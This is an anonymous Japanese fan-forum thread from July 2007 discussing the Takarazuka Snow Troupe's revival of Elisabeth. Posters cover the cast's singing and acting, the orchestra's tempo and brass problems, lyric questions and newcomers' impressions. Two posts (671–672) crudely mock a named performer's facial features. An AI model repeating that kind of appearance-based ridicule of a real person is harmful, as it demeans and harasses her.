きりやん：頭良さそう
あさこ：トート閣下のパシリ
わたる：おっさん炸裂
りか：色気たっぷり
理事：男

636 ：名無しさん＠花束いっぱい。：2007/07/10(火) 22:36:35 ID:WAQ0O2/t

きもいスレ

637 ：名無しさん＠花束いっぱい。：2007/07/10(火) 23:40:20 ID:HCCk6X9j

>>609
シビさんとか合ってそうなんだけど

638 ：名無しさん＠花束いっぱい。：2007/07/11(水) 02:01:05 ID:JIZHjVTH

>630
（●▽●）に声量はあるよ。
音程が最悪なだけｗ
ミズは（●▽●）ほど音程は悲惨じゃない。
だけど、声量は全くない。

今の音響システムとマイクボリュームをもってすれば
素人さんは、声量のなさはごまかせるだろうけどね。
でも、声量が持つ表現力まではね。
そして舞台空間を支配するオーラも無理。

639 ：名無しさん＠花束いっぱい。：2007/07/11(水) 02:36:41 ID:JUQBJZ6r

声量が持つ表現力が大事だというなら、
言葉の意味をちゃんと伝える表現力も大事だと思う
歌ウマーという人でも言葉がスルスル逃げていく人もたーくさんいる
そしてミズの歌はトートの言いたいことを二階席まで伝えるという点では十分合格

640 ：名無しさん＠花束いっぱい。：2007/07/11(水) 02:41:08 ID:juJpO1m2

他の出演者が（期待値が低かったせいか）予想以上のできだから、
余計となみが足引っ張ってる感じがするのかも。
特に高音が不安定なのが凄く気になった、やっぱりエリザの歌って難しいんだね。
ミズはとにかく自分の音域で丁寧に歌って、あとは音響さんにまかせた～ｗって感じですね。
でもとても素直な歌声でよかったです。

641 ：名無しさん＠花束いっぱい。：2007/07/11(水) 08:31:29 ID:X5dzq6E3

月のマダムブォルフとﾙｷｰﾆの「食欲が～♪」の輪唱みたいなとこが好きなんだけど
今回の雪はないんだよね。
歌がうまくないからか？

雪のリヒテンシュタインの「破廉恥な･･･」はなんか暗い･･･

642 ：名無しさん＠花束いっぱい。：2007/07/11(水) 09:35:25 ID:gwXpY598

>>635
ﾜﾛﾀ
特に最後ｗ

643 ：名無しさん＠花束いっぱい。：2007/07/11(水) 09:48:02 ID:l0CUJt1y

となみか。
歌ｳﾏｰではないし、芝居も大根寄り、しかもキャラ違いだから最初から微妙だった。
しかしそれでもアントワネットは日に日に良くなっていった
(プロローグのロングトーンは最後の方になるとフラフラしてたけどｗ)から、
シシィもなんとかなるかと思ってた。

・・・やっぱりキャラ違いが痛すぎる。
演技力があればキャラ違いをカバーできたかもしれんが。

644 ：名無しさん＠花束いっぱい。：2007/07/11(水) 12:47:56 ID:Ppy2jaJE

谷岡ファン、エリザの話題にからんでこないでよ。谷岡は１００％ないさ。
本気で贔屓でトートをみたいと言える？冗談でも言えないでしょう。
恐怖の水トートの顔面と、まりこトートの歌声を超えるほどの
悪寒ーーー

645 ：名無しさん＠花束いっぱい。：2007/07/11(水) 15:19:24 ID:ogTfS/wI

じゃあ、次はいよいよ最終兵器、安蘭＆遠野の出番かな。

646 ：名無しさん＠花束いっぱい。：2007/07/11(水) 18:19:53 ID:LoviF85/

残念だね。2009年まで宝塚でエリザはない。

647 ：名無しさん＠花束いっぱい。：2007/07/11(水) 19:12:39 ID:P7t1cPkm

2009年にエリザでとうあす退団公演とか。

……すまん、ちょっと言ってみたくなったんだ（笑）。
色んな人が色んな意味で泣き叫びそうだ。

648 ：名無しさん＠花束いっぱい。：2007/07/12(木) 00:30:11 ID:hMQb7gee

いや、とうこは東宝で一路の後任の可能性とか((((°д°;))))

だいたい2年後だ。まだいられるのかしら、とか言ってしまう漏れｗ
いや、今のトップコンビの中でとうあすが１番好きなんだが。

つか、2年後やるとして、誰がトップの組でやるかがわからんからな。
可能性は月かどっかの組でトップになったきりやんとか、
新公トートやった蘭とむとか？

649 ：名無しさん＠花束いっぱい。：2007/07/12(木) 02:32:27 ID:9CenScJv

>648
東宝シシィで宝塚出身は一路だけでいいです。
宝塚独特の歌唱法が抜けるまでに時間がかかる。
来年は隣板で言われてるように松たかこになるんじゃない？

次がどこの組になるかは分からないけど、5組中1組は歌手のトートでお願いします。

650 ：名無しさん＠花束いっぱい。：2007/07/12(木) 07:54:24 ID:XQQJ5VSQ

>>648
来年8月公演が発表されてるから、東宝後任やるためには
エルアルコンで退団しなきゃムリ。

651 ：名無しさん＠花束いっぱい。：2007/07/12(木) 08:26:35 ID:TEtxPtr0

発見した。
パパみたいに、のところ
月は伴奏の音が小さい
雪は伴奏の音が大きい
しかもとなみ、音はずれてる　　　　　　
雪は伴奏やらコーラスやらでカモフラージュしている

652 ：名無しさん＠花束いっぱい。：2007/07/12(木) 18:13:10 ID:EP03Uaqs

>645
やるなら
トップ以外のレベルの低さを
どうにかして欲しい

653 ：名無しさん＠花束いっぱい。：2007/07/12(木) 20:49:08 ID:j6v11QOK

となみ、病院訪問のラスト、♪あなたの方が自由～♪
奇麗にのばしてフェイドアウトしてくれ～！
男役のあさこの方が上手だったぞ！

654 ：名無しさん＠花束いっぱい。：2007/07/12(木) 22:27:07 ID:yg5r++EH

>2009年にエリザでとうあす退団公演とか。

笑い事ではなく、充分にありえる。

655 ：名無しさん＠花束いっぱい。：2007/07/12(木) 23:18:54 ID:jkPb4IOi

本日夜の部、ずんちゃんわたるくんご観劇でした
ルキが、ああーーきんちょーするーーって言いながら写真とってた

656 ：名無しさん＠花束いっぱい。：2007/07/13(金) 01:07:34 ID:+zKcBWdq

ハマコゾフィーいいな
あと子ルドの音感のよさ　声に関してはよくわからんが、音程は正しいとこいってるし

マダムヴォルフのとこでさー　娼婦紹介してんじゃん？あれの３人目って何て言ってんだろなぁ・・
なんちゃらはダイナマイ～のあとの娼婦の一言　わかる人いたら教えてくれ

657 ：名無しさん＠花束いっぱい。：2007/07/13(金) 01:13:46 ID:wtQV3Xh9

マリー、ロミー、タチアナ、ミッツィー、マデレーネ
だす

658 ：名無しさん＠花束いっぱい。：2007/07/13(金) 01:15:59 ID:gQnnf5WT

「タチアナはダイナマイト」
　　「ヴィルコーメン！」
じゃなかったっけ？意味は…忘れた！！

659 ：名無しさん＠花束いっぱい。：2007/07/13(金) 01:16:58 ID:+zKcBWdq

>>657
レス㌧クス
知りたいのはその「タチアナはダイナマイ～」「娼婦ここで一言」
の一言を何て言ってるのか知りたいんだ

前の二人も「あはーん」みたいなこと言ってるんだが、
タチアナだけ妙に気合の入った口調で叫んでるんだよな

660 ：名無しさん＠花束いっぱい。：2007/07/13(金) 01:17:09 ID:yjbH6pCg

>>655
見間違いでなかったら、なるみんもいたと思う。

マリーはぷっつん、ロミはぴちぴち、タチアナはダイナマイト～
お年寄りにはミッツィがいるわ、そしてスペシャルはマデレーネ♪

661 ：名無しさん＠花束いっぱい。：2007/07/13(金) 01:17:52 ID:wtQV3Xh9

あ、一言は「お年寄りにはミッツィーがいるわ」
花組ＤＶＤ買うと歌詞がでるのでｵﾇﾇﾒ

662 ：名無しさん＠花束いっぱい。：2007/07/13(金) 01:19:51 ID:+zKcBWdq

>>658
書き込んでるうちにレスきてたスマソ
ヴぃルコーメンていってるんかー
マジ㌧クス！！
頑張って調べるぜぃ

ちがうぜー本当はこう言ってるんだぜーとかあったらまた教えてくらはぃ

663 ：名無しさん＠花束いっぱい。：2007/07/13(金) 01:20:48 ID:siJ60B88

>661
全組出るよ＞歌詞＠ｴﾘｻﾞDVD

664 ：名無しさん＠花束いっぱい。：2007/07/13(金) 01:22:51 ID:+zKcBWdq

>>663
全組プレミアムDVDボックスかー
65000円なんてかえねーよー・・
DVDは見てみたいが、ペーパークラフトはいらないとおもふ

てか、急に人増えてんな・・ｗ

665 ：名無しさん＠花束いっぱい。：2007/07/13(金) 01:24:32 ID:wtQV3Xh9

>>663
mjd？
月のも持ってるのに試したことなかったｗ

色々と適当でｽﾏｿ

666 ：名無しさん＠花束いっぱい。：2007/07/13(金) 01:25:05 ID:qlNi0c/C

>>662
Willkommen（ヴィルコメン）
「ようこそ」

667 ：名無しさん＠花束いっぱい。：2007/07/13(金) 01:30:27 ID:+zKcBWdq

>>666
Willkommenなんだなー
ドイツ語で「ようこそ」なのか

めちゃすっきりしたわ
みんな㌧クス!!

668 ：名無しさん＠花束いっぱい。：2007/07/14(土) 00:08:09 ID:KPjQwKm2

昨日ﾏｲ初日だったけど雪ｴﾘｻﾞいいじゃん。
確かにいろいろ欠点はあるけど、あのくらい全然許容範囲。
みんな頑張ってるなあと感心したお

病院訪問のｼｰﾝが良かった
初めて泣けた

669 ：名無しさん＠花束いっぱい。：2007/07/14(土) 00:55:18 ID:VOfz1WfY

雪エリザ悪くはないんだ。ユミコフランツは過去最高だし。
となみは美しいし。
ただあと少しお水が声量を頑張ってくれればなァと思う。
あとかなめ要らない。

670 ：名無しさん＠花束いっぱい。：2007/07/14(土) 01:01:21 ID:sc5EcEaz

ゆみこが過去最高？
あの軽い芝居の、心に何も残らない演技のフランツのどこが過去最高なんだ。
ただ歌が歌えると言うだけの陰のうすーい存在のゆみこが？
主演が歌うたえなさすぎで、目立ってるだけだろうが。

671 ：名無しさん＠花束いっぱい。：2007/07/14(土) 01:12:37 ID:eyRJJzLS

となみが美しい？
あの離れ目で鼻の穴が異様にでかくて法令線ばっちりの
頬の肉がたるんだぼこぼこの輪郭で顎なし顔のどこが美しいのか。
しかも顔でかすぎだし。
紙芝居のような安っぽい大袈裟な芝居と歌下手でゲンナリさせられ
トドメはもたもたした鈍くささ丸出しの重たいタンゴもどき。
雪組再演エリザがパッとしないのは、となみの責任だよ。
「娘役生命かけて頑張ります」・・・大口たたいてこの始末。
勘違いな浅はか発言で馬鹿っぷりさらけ出して大失態だよ。

672 ：名無しさん＠花束いっぱい。：2007/07/14(土) 01:15:11 ID:es9lliKn

となみが美しい？
あの魚眼女のどこが美しいんだ。
歌たえなさすぎで悪目立ちしてるだけだろうが。

673 ：名無しさん＠花束いっぱい。：2007/07/14(土) 01:26:51 ID:es9lliKn

>>671
被ったｽﾏｿ

674 ：名無しさん＠花束いっぱい。：2007/07/14(土) 01:44:12 ID:LSGfCyNc

いや、ゆみこ想像以上に良かった。ゆみこならこの程度かな、って予想よりも、
ｼｼｨや息子への思いが感じられた。
まぁ、そう思う人も居るってことで。

675 ：名無しさん＠花束いっぱい。：2007/07/14(土) 02:14:41 ID:fi9nRN8d

>>674に同意
自分も想像以上に良かったとｵﾓ
歌が上手いだけじゃなくて、役作り深いと思ったよ
ルドの葬儀のシーンは本当に泣いてたりして、かなり感情移入する

676 ：名無しさん＠花束いっぱい。：2007/07/14(土) 02:21:23 ID:QccZWz46

ゆみこはよかった。ちょっと影薄いところはあるけど。
ゾフィーはまこもいうことないかな。

しかし周りの役作りやら歌や演技が微妙。そのせいで平均点が低い。

どの組のエリザも微妙だったり、ええ～(´Д`)ってのがあるけど、
今回の雪はそれが顕著。

677 ：名無しさん＠花束いっぱい。：2007/07/14(土) 02:49:16 ID:3UXp/IEM

>676
言いたいことは判るが・・・

それを言うなら、「平均点」じゃなくて「総合点」では？

678 ：名無しさん＠花束いっぱい。：2007/07/14(土) 05:19:09 ID:5ng6wclZ

今まで初演雪と宙が好きだったんだけど､それ以上に今回の雪に嵌まった

679 ：名無しさん＠花束いっぱい。：2007/07/14(土) 06:52:38 ID:OiTpP6PJ

オケ酷くないですか？
先日(東宝)見に行って、名曲ばかりなだけにがっかりしました。
全体的に“ゆっくり”な演奏もわざとでしょうか？
演者に合わせて？
それでも苛々するところが多々ありました。
一度しか見に行けないのに…

680 ：名無しさん＠花束いっぱい。：2007/07/14(土) 07:02:03 ID:CD34jcFV

オケ酷いね。
役者よりもまずオケをなんとか汁と言いたい。

681 ：名無しさん＠花束いっぱい。：2007/07/14(土) 07:36:11 ID:3CJCCzuM

>>676
同意
軽いように見えるけど押さえるとこは押さえて演技が繊細だな～って思った
他組の会が話しているのを聞いているとゆみことはまこの名前がほとんど出てる
オサ会の人が花エリザでゆみこフランツも見てみたかったってはなしているのを聞いたことがある
大味系の演技が好きな人にはウケが悪いだろうね

682 ：名無しさん＠花束いっぱい。：2007/07/14(土) 07:58:12 ID:/5LHLOnP

そうバッサリ行くのもどうかな・・・
歌は間違いなく最高なんだけど、お芝居面では私もそこまで評価できない。
まだ公演たっぷりあるし今後期待してる。

683 ：名無しさん＠花束いっぱい。：2007/07/14(土) 08:06:49 ID:7svmwHHS

私は676さんと逆。
今までどのエリザでも、この役の人が微妙・・って思うのがあったけれど
今回の雪には、まずそれが無い。
それぞれに、もうちょっとだけこうだと更にいいのに、と思う点はある。
でも、総じてものすごく好みなエリザベートと役者陣だな。
そして、演出の仕方も、今回のは面白いと感じている。

684 ：名無しさん＠花束いっぱい。：2007/07/14(土) 08:07:35 ID:XoakEdVA

朝からの釣り会場はここですか(´ー｀)y－~~~

685 ：名無しさん＠花束いっぱい。：2007/07/14(土) 08:36:11 ID:rT4V3T/x

>679
大劇場より東宝のオケの方が、ゆっくりになってる。
あれでは、大劇場の指揮に慣れた生徒達は
培ってきたリズムが崩れてやりにくかろう。

686 ：名無しさん＠花束いっぱい。：2007/07/14(土) 08:40:33 ID:1IiuA7S+

このまえ見たとき、金管はずしまくり、音が飛んだときもあった。
ひどすぎ。

687 ：名無しさん＠花束いっぱい。：2007/07/14(土) 08:40:38 ID:UEFU2Wy7

東京の方が上演時間が長いからその分ゆっくり演奏してるとか？
全体にゆるく感じるのはそのせいかも知れんね。

688 ：名無しさん＠花束いっぱい。：2007/07/14(土) 08:46:14 ID:sndfad3O

７／７の夜の部なんて「パパみたいに」の伴奏が一瞬止まったよ。
その後金管楽器もはずしまくってたけど・・・。
マジむかついた。金管はずれても、トート閣下はマイペースに
続けていたけど、よく吹き出さないなと関心した。
慣れっこなんだろうね。

689 ：名無しさん＠花束いっぱい。：2007/07/14(土) 08:48:33 ID:ERi/Kimk

大劇場では、オケはともかくｗ愛一郎の生徒のパフォーマンスとの
一体化をめざした指揮ぶりがすごく良かった。
それが東宝はゆっくりになってて、大劇場でのメリハリがゆるくなってた。

690 ：名無しさん＠花束いっぱい。：2007/07/14(土) 09:04:40 ID:7svmwHHS

実は、東宝のｵｹは、エリザやりたい！って奏者たちのオーディションだから
レベル高いよ、って聞いたんだが・・・。
ムラのオケは、ある程度固定だから、弾き慣れているのかも。
オケのレベルにも期待して遠征するのに、酷いなんて。

691 ：名無しさん＠花束いっぱい。：2007/07/14(土) 09:11:20 ID:ERi/Kimk

ついでに、ヅカオケ刷れのぞいてきちゃった。
ムラオケもたいがいだが、東宝オケもﾋﾞﾐｮﾝ。
てか、指揮者さん、テンポ早めるところはもうちょっと何とかしてくれ。
全体的にまのびして聞こえちゃうんだよorz
生徒も楽曲に乗りにくそうだよorz

692 ：名無しさん＠花束いっぱい。：2007/07/14(土) 09:32:40 ID:c4RP1FoK

7/8も「パパみたいに」で音とまったよ。
愛一郎の指揮を見続けていた私には、東宝の指揮が物足りなくて寂しい…。
「パパみたいに」は特にw

693 ：名無しさん＠花束いっぱい。：2007/07/14(土) 09:35:43 ID:UEFU2Wy7

パパみたいには鬼門のようですな。となみ頑張れ！

694 ：名無しさん＠花束いっぱい。：2007/07/14(土) 10:04:13 ID:7svmwHHS

愛一郎のパフォーマンスも、見所だったものね。
東宝指揮者も、ちゃんととなみに合図を送ってるのかな。

695 ：名無しさん＠花束いっぱい。：2007/07/14(土) 10:20:39 ID:Uq08QSn8

ちょっと待て、今回バレンシアも金管がすっげー何とかしろ状態なんだぞ
東宝もそうならヅカのオケは金管が激しくダメっつーことか！

696 ：名無しさん＠花束いっぱい。：2007/07/14(土) 10:25:59 ID:dP8Qhdsn

昔から宝塚の金管はひどいと思ってた…
ナイト＆デイとか、金管が目立つ曲、完璧だったのはあまりないと思うよ。

697 ：名無しさん＠花束いっぱい。：2007/07/14(土) 12:01:01 ID:Za26rH0T

ヅカ専属の愛一郎と比べちゃ西野くんはお気の毒なようだけど
生徒との距離感の違いが微妙に出てしまってるのかなと思うオケだった。
その前の星組も東宝のほうがテンポがゆっくりだったし、だいたいいつも東宝でテンポは下がるでしょ。
今回特に気になるのは、乗れてない生徒の力量の問題もあるかとは思う。

698 ：名無しさん＠花束いっぱい。：2007/07/14(土) 13:41:24 ID:6D9VGYUn

ゆっくり演奏は特に初日の１部が気になった。
１週間ぶりにみたら、少し改善されていたので
イケコあたりからオケにダメ出しがあったのかもね。
エリザは、歌でドラマを全編綴るから、
演奏の速度が変わると、役者の芝居のリズムがもろに影響を受けるから
大劇場で体に染み込んだ楽曲のリズムを東宝オケに合わせるのは
大変だろうなとは思った。

699 ：名無しさん＠花束いっぱい。：2007/07/14(土) 21:36:55 ID:f6lTi7WB

ヅカオケは金管が本当に重症だね。
エリザベート二部の戴冠式のトランペットとか破壊的・・・・・。

ちなみに、ドラムやギターやパーカッションのレベルはまあまあ高い。

700 ：名無しさん＠花束いっぱい。：2007/07/15(日) 01:44:59 ID:lG07cyXP

本日観てきました。
東宝ミューはまぁ観るのですが宝塚は本日人生３度目。エリザは人生初です。
隣板はよく見ていて東宝スレでよく話題に上るエリザは主要な役名くらいは知ってます。
帰宅し、このスレをざっと読みました。

そんな感じでレポります。
まず、この演目イイ！作りが凝ってるし、大筋のストーリーは解りやすく、曲も好き。
今まで観た中で段トツに良かったです。演目的に。

次にキャストですが、トートは腕が長く動きが綺麗だし、見た目が冷たい感じな所も良かったです。
歌は弱かったけど、不快な弱さではないというか…不安定な感じはしないので、個人的には嫌いじゃないです。
ただ、初見だったため、１幕前半のトートの歌詞が聞き取り辛かったことだけが少し残念でした。
歌い上げる部分は気持ちが良かったです。

それよりも歌が辛かったのはエリザベートのほう。
顔立ちも顔型も好みなので可愛いと思えたし、特に若い頃のおてんばシシイが似合ってた。
前回宝塚を観た時の壇れいさんは別に気にならなかったんですけど、
この演目だと役があまりにも大きいので、もうちょっと歌も安心して聴けるほうが良かったかも。
でも、年を取っていく様子を声でも動作でもきちんと演じ分けられていて凄いなと感じました。

フランツは歌が上手なのと優しそうな所が好きです。
帰宅してからここ読んで、背中がイイ！みたいな？書き込みを読んで、なるほど、と思いました。

あとここ読んでいて意外だったのがルドルフがそんなに褒められてない事。
歌も結構上手だったしキャラクターに合っていてすごく良かったと思いました。

あとは…宅配サービスのボスの方の歌がとってもお上手でした。

ルキーニは美味しい役の割には目立たなく、勿体無い感じがしましたが、無難に良かったし若くてかっこ良かったですね。

素人意見ですが、宝塚はとりあえずラインダンスしとかないと気が済まないのか、羽付けて出てこないと気が済まないのか、と
笑いました。いい意味で。エリザベートでもあるんですね、あぁいうの。良かったです。

701 ：名無しさん＠花束いっぱい。：2007/07/15(日) 10:54:48 ID:ilXSSJhQ

>>700
ﾗｲﾝﾀﾞﾝｽと羽は見始めの頃は漏れもそう思ってました。
しかし今じゃ、ないともの足りんなｶﾗﾀﾞになってしまったｗ
きっとﾂﾞｶﾌｧｿの多くがこの道を通ったﾊｽﾞ。

漏れもﾙﾄﾞﾙﾌ、ここでｹﾁｮｹﾁｮﾝに言われるほど悪くなかったと思ったｸﾁ。
音程はﾋﾞﾐｮﾝな時もありましたが、闇広も結構ちゃんとﾊﾓれてたし。

702 ：名無しさん＠花束いっぱい。：2007/07/15(日) 23:27:35 ID:Sr2ORguy

>>700
感想ありがとう。
初めてみる人の感想は興味深いよ。

703 ：名無しさん＠花束いっぱい。：2007/07/16(月) 00:10:11 ID:0aqO1gov

>>700
私は14日に観劇、エリザは初めてでした。

最初、主役級が舞台に出てきても拍手がなくて、
客席が静かなのに戸惑いました。
よく考えればそっちが普通ｗ

羽はともかく、ラインダンスが出てきたときは
「どうもありがとう！！」
楽しかったです。やっぱ宝塚。

704 ：名無しさん＠花束いっぱい。：2007/07/16(月) 00:31:19 ID:1O+sggvF

今日観てきた。東宝初日見て、約1週間後に二度目。

あくまで、個人の感想だけど良かったよ。
前回は「まぁ悪くないけど、もう一つ何か欲しい」って思ったのだが
今日はすごく良くなってた。

水：本人なりに歌は頑張って、苦手な音域は囁き系でって感じで
上手くバランス取ってる。芝居は感情を出し過ぎるけど、自分的には
宝塚版としてはアリだと思うし、好きだな。
ただメイクがちょっと･･･顔が大きく見える・・・

白羽：前回より全然良くなってた。歌も感情篭って綺麗に歌えてたと思う。
二幕は特に良かった。少女時代は普段のとなみ像を知ってるからか
お転婆ぶりが演技っぽく感じるかな。ヴィジュアルはやっぱり綺麗。

彩吹･音月：文句も無いけど、強いて言うなら無難に纏まり過ぎてる気も。
キムはいい子イメージを払拭出来て、演技の幅が広がりそう。次作も期待。

未来：自分の中では一番理想のゾフィー像。出てくると舞台が引き締まる感じ。

凰稀：前回よりは歌も芝居も格段に良くなってた。でも、何だか薄味で・・・もう少し
役作りを深めて欲しい。

マダムヴォルフが格段に良くなってました。
エトワールとの声質の使い分けも感心した。
今回の公演ではヴィンディッシュ嬢の場面だけが違和感・・・演出が悪いのかな。

705 ：名無しさん＠花束いっぱい。：2007/07/16(月) 11:32:39 ID:OEcLbt95

ハマコゾフィー、演技も歌もレベル高くて上手いんだけど、
前半が理知的すぎるのか、息子に娼婦送りこむような馬鹿なことする人には見えなかった…
普通に賢母に見えるんだよなあ。

706 ：名無しさん＠花束いっぱい。：2007/07/16(月) 14:58:59 ID:AWDNi8dk

>705
それは思った。なんかあそこだけ違和感。
タキちゃんやハッチさんはいかにも考え付きそうで納得するけどｗ
まぁそれだけテンパっちゃうほど焦ってたんだろうなと解釈してるけど
それにしても娼婦はないだろうと思ってしまう。

707 ：名無しさん＠花束いっぱい。：2007/07/16(月) 15:20:02 ID:BfS6RxBN

確かにタキは絶対やりそうだwwもーっと悪いこともしそう

708 ：名無しさん＠花束いっぱい。：2007/07/16(月) 16:49:14 ID:8tw8LBiD

タキさん、言葉は悪いがやり手ババアみたいｗ

709 ：名無しさん＠花束いっぱい。：2007/07/16(月) 23:01:50 ID:NW7lXSHH

>>708
ｿﾚﾀﾞ！むしろそれがマダムヴォルフの役割w

ハマコは鳥ちゃん見てﾄﾞﾋｬｰ！な反応してるから、
もっとお上品なのが来ると想像してたんだろうなと思った。

710 ：名無しさん＠花束いっぱい。：2007/07/16(月) 23:57:14 ID:lo44qjHE

八月のエリザmy初日で、一列センターで観劇予定！すっごい楽しみ～。
…しかし、その日に限って宝塚初体験の友人が同伴…
決して見やすい席じゃないんだけど、大丈夫かなぁ…orz

711 ：名無しさん＠花束いっぱい。：2007/07/17(火) 07:24:03 ID:RYjBuiSh

ハマコゾフィー、歌うまいし安心して観ていられるんだけど
もっといじわるくやってほしいかなーと思った
ちょっと怖いけど話せばわかってくれそうないいお義母さんに見えてしまって
お義母様がいじめるの～　の時のシシィが
勘違いしてる甘えたお嫁さんにしか見えなくて・・・

712 ：名無しさん＠花束いっぱい。：2007/07/17(火) 10:08:48 ID:zxyCDdFP

でも実際そうだしな＞勘違いしてる甘えた嫁
勘違いつーか覚悟が足りなかったつーか。

713 ：名無しさん＠花束いっぱい。：2007/07/17(火) 10:57:26 ID:5xYB+l4w

最初にひとつ話されてるし
それでもついていけるから嫁にいったはずなのになw

はまこゾフィーの最初の「駄目よ」は確かにいい義母だよ
徐々に意地悪くなる感じも出てて､はまこの役づくり大好きだ

714 ：名無しさん＠花束いっぱい。：2007/07/17(火) 11:27:17 ID:SeX6v4Gh

美々さんゾフィーは本気ガクブルだったな。
サロンでの「我らの！勝利だ！」は本当悪巧みおばさんって感じで好きだった。
今回のハマコも好きだけど。ハマコ確かに優しそう。

715 ：名無しさん＠花束いっぱい。：2007/07/17(火) 11:27:54 ID:SeX6v4Gh

IDがエライ事に・・・・

716 ：名無しさん＠花束いっぱい。：2007/07/17(火) 11:40:48 ID:fVITZPQH

ハマコゾフィーはやっぱ東宝版の「ゾフィーの死」歌って亡くなるゾフィー像だなー。
皇帝の母である誇りと王家を守る立場の義務感に溢れてる。

717 ：名無しさん＠花束いっぱい。：2007/07/17(火) 12:01:41 ID:TNAipbBd

>714-715
エロいIDオメ！

718 ：名無しさん＠花束いっぱい。：2007/07/17(火) 19:42:49 ID:9YD9skGy

大劇場の最初のころはともかく
東宝のゾフィはかなり強面な頑固ばばになってるんじゃない。
とても話せばわかる人には見えない。
意地悪からじゃなく自分なりの正義に基づいて行動してるのはわかる。
でもやっぱり性格の中に意地悪な部分があるから
ああいう表れ方をするんだろう。
同じ目的を持って行動してもその人の人間性によって表れ方は違ってくる。

719 ：名無しさん＠花束いっぱい。：2007/07/17(火) 22:27:53 ID:HNo3BCIL

大劇場の稽古場に見学に来たクンツェさんがハマコに
「もっと役を愛してください」とかアドバイスしてた。
正確な言葉じゃないけど、ゾフィは作中で唯一自分が世界（ハプスブルク家？）を救えると思ってて
そのために厳しく冷酷にふるまっているのであって、魔女でも悪い女でもないと。

大劇で見たとき、そういうアドバイスも踏まえてハマコなりに考えて作ったのか
今までのゾフィとひと味違う役になってると思った。
ヒステリックではなく、聡明さも垣間見え、2幕では理解されない焦りや寂しさまで見えた気がした。
その意味で716さんの意見に同意。
東京ではまだ見てないからどうなってるか分からないけど・・・。

720 ：名無しさん＠花束いっぱい。：2007/07/18(水) 00:17:34 ID:g8P6CWpd

初観劇の友人連れていった。
感想は「トートが女に見えない。アゴが長い。
歌は全然ＯＫ（歌はあんまり得意じゃないと言ってあった）
フランツは歌がうまかった。結局嫁姑問題なのね（笑）
女が自立しすぎるとやっぱ家庭は壊れるってことだ（シミジミ）
（彼女はバリバリの独身キャリアウーマン）ラインダンスには笑った。
最後の羽はすごすぎ」
時々ブロードウェーにミュージカル観にいく女だけど案外好評で一安心。
「また誘ってよ」って、このチケ取るのにどんだけ大変だったか知っとるんかい～！！ｗ

721 ：名無しさん＠花束いっぱい。：2007/07/18(水) 00:21:57 ID:y6l3sKCs

>720
でもまぁ概ね好評でよかったじゃんw

722 ：名無しさん＠花束いっぱい。：2007/07/18(水) 00:24:32 ID:UTU+ItUh

>720
初観劇で、ミズのアゴ長に目をつけるとは
なかなか目ざとい友だな。

723 ：名無しさん＠花束いっぱい。：2007/07/18(水) 07:12:06 ID:cKMPEmM/

>722
いや、それはだれでも気づく事だと・・・（水ゴメン）

724 ：名無しさん＠花束いっぱい。：2007/07/18(水) 08:45:47 ID:n2AIg1xs

私は最近いろんなとこで、実はミズデコを広めているが
真正面から観ると、案外アゴは目立たず、むしろデコwww
でも、ほんの少しズレるだけですごいアゴなのでビビる…（いや、大好きなんだが）

725 ：名無しさん＠花束いっぱい。：2007/07/18(水) 09:02:03 ID:dMncUnQI

初心者、凄いはまってるよ。こんなこと言ってた
「ﾄｰﾄはとにかく女にみえない、手がきれいﾛﾝ毛かっこいい！」
「ﾙﾄﾞﾙﾌの人、素顔きれいなのにﾒｲｸするとあんまり・・」
「ﾎﾞｰﾄの場面、ﾌﾗﾝﾂがおじいちゃんすぎてｴﾘｻﾞももっと老ければﾗｽﾄがいきるのに・・」
「ｴﾘｻﾞの人、子供のときと大人と区別がつかない、髪形かえればいいのに」
「ﾗｽﾄのｷｽｼｰﾝ、あまりに自然であんな綺麗なｷｽみたことない～本当にしてないよね？」

（笑）
すごくとらえてて興味深い感想だなーと。

726 ：名無しさん＠花束いっぱい。：2007/07/18(水) 09:32:39 ID:04Uz5uts

わたしが連れて行ったオペラファンの友人も
｢誰が一番歌がうまかった？」「やっぱり主役(トートらしい）の人がうまいね」
「・・・え？あ、ありがとう。」ｗ

727 ：名無しさん＠花束いっぱい。：2007/07/18(水) 09:33:45 ID:mA6A6Dhb

初観劇の母（コーラス歴長くていつも素人批評がうるせー）の感想
・ゾフィー絶賛
・フランツが気に入った模様
・主役は「声は好きだしかっこいいじゃない」
・シシィは「頑張ってたし綺麗だしいいんじゃない？」
・フィナーレの羽根にビビる
・タンゴはもっと別なダンスでいんじゃない？

やっぱり幕降りた瞬間に始まるフィナーレには驚いたらしw
別な初見の友人はフィナーレ(ﾟ⊿ﾟ)ｲﾗﾈ！階段降りだけでいいって怒ってたなー
本編で使われてるアレンジが１番いいんだから、同じ曲でやる必要ないって。
愛と死の～と最後のダンス使いすぎとも言ってた。基本は楽しんでたけどね。
人それぞれで、初見さんの感想はおもしろいや。

728 ：名無しさん＠花束いっぱい。：2007/07/18(水) 15:01:30 ID:BcRkFwIt

色物の月組よりは地味にまとまってて好印象。
ただ、シシィはあさこの方がドラマを感じたな。キモかったけど。
となみの演技は役をなぞってるだけな気がするし、何より歌えてない。

729 ：名無しさん＠花束いっぱい。：2007/07/18(水) 15:45:39 ID:6Giiq2E1

地味さでは月組の方が上でしょ。
サエトートはきれいだが薄く、アサコシシィは容姿の華やかさに欠ける。
アサコは演技も宝塚の女役としては生々し過ぎた。

730 ：名無しさん＠花束いっぱい。：2007/07/18(水) 16:22:57 ID:g8P6CWpd

となみシシィは子供時代のハツラツさが足りないかな。
お転婆っていうよりおっとりっていう感じ。
歌も動きながらだと息切れしててちょっと苦しそう。
ここはアサコシシィのほうが生き生きしてたな。
でもトートとルドルフの闇広は今回の雪バージョンのほうが好き。
月はトートにグイグイと引っ張られて翻弄される感じが弱くて物足りなかったから。
でも銀橋を後ろ向きに進むのにあの長いコートを踏みそうでハラハラなんですけど。

731 ：名無しさん＠花束いっぱい。：2007/07/18(水) 16:36:46 ID:LQsxk8DS

ルドルフ、もうちょっと深みがあるといいなーと自分的には思う。
抵抗勢力と手を結んで、ってルドルフなりの野心とかもあるわけだろうと
思うんだけど、なんとなーく流れて行ってる感じが・・・。
「王座～～！」でちょっと権力への色気を刺激されてる感とか
人々を率いてるときの高揚感とかその後のオタオタ、絶望の中トートたちに
翻弄されてるところとかすべて薄いと思う。
でも美しいよ、テル。

732 ：名無しさん＠花束いっぱい。：2007/07/18(水) 16:47:01 ID:BIgQIi0g

月エリザはたしかに賛否両論だったけど、
評価する人は最高レベルの称賛を送ってた。
雪エリザは意外と好評だけど、
みんな10段階で6くらいの評価。

733 ：名無しさん＠花束いっぱい。：2007/07/18(水) 17:00:54 ID:hRvf1q2h

